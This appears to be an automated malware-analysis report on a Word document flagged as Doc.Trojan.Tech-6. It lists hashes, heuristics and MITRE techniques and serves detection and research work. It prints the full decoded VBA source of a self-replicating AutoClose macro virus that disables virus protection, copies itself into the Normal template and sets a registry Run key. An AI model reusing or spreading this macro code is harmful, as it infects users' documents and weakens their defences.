Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6d61fc3b054b0e9b…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-04-21 18:24:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 305ab954ddde588c7176187c814d6b0f SHA-1: e6648f452dfd8768f992fe907c414e7c5b69804f SHA-256: 6d61fc3b054b0e9b85c37c05d62e758fa1f2671e7e57626efba53ffe2b0a0ba2
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro with an AutoClose subroutine, which is a common technique for malicious documents. This macro attempts to export itself to 'c:\log.386', then imports it into the NormalTemplate and ActiveDocument, and finally saves the document. Crucially, it writes a value to the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run with the command 'c:\con\con', establishing persistence. The macro's intent is to ensure execution upon system startup.

Heuristics 4

  • ClamAV: Doc.Trojan.Tech-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tech-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1623 bytes
SHA-256: 9abde56ab405a3460d8b5c310632c2aeb5f63ee87306aba227bc1c72ed587422
Detection
ClamAV: Doc.Trojan.Tech-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "expB2"
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = (Rnd * 0)
Options.SaveNormalPrompt = (Rnd * 0)
Application.EnableCancelKey = wCancelDisabled
Application.DisplayStatusBar = (Rnd * 0)
Application.ScreenUpdating = (Rnd * 0)
Application.DisplayAlerts = wdAlertsNone
CommandBars("Tools").Controls("Macro").Delete

Application.VBE.ActiveVBProject.VBComponents("expB2").Export "c:\log.386"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "expB2" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "expB2" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set Dobj = NormalTemplate.VBProject _
Else: If ActivInstall = False And NormInstall = True Then Set Dobj = ActiveDocument.VBProject
Dobj.VBComponents.Import ("c:\log.386")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If Day(17) And Month(Now) Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "") = "c:\con\con"
End If
End Sub
' @ Pvx 17 4 2000 simple m.v. only for research purposes
' version b5 (word97)         dont distribute

Open this report in the interactive analyzer, or submit your own file for analysis.